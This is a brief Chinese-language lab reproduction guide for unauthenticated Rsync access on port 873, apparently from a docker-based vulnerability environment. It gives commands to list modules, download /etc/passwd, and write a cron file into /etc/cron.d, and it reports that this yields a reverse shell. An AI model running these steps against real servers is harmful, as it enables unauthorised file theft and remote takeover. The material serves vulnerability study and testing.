Rsync 未授权访问漏洞

Rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。

漏洞环境

编译及运行 rsync 服务器:

docker compose build
docker compose up -d

环境启动后,我们用 rsync 命令访问之:

rsync rsync://your-ip:873/

可以查看模块名列表:

漏洞复现

如上图,有一个 src 模块,我们再列出这个模块下的文件:

rsync rsync://your-ip:873/src/

这是一个 Linux 根目录,我们可以下载任意文件:

rsync -av rsync://your-ip:873/src/etc/passwd ./

或者写入任意文件:

rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

我们写入了一个 cron 任务,成功反弹 shell: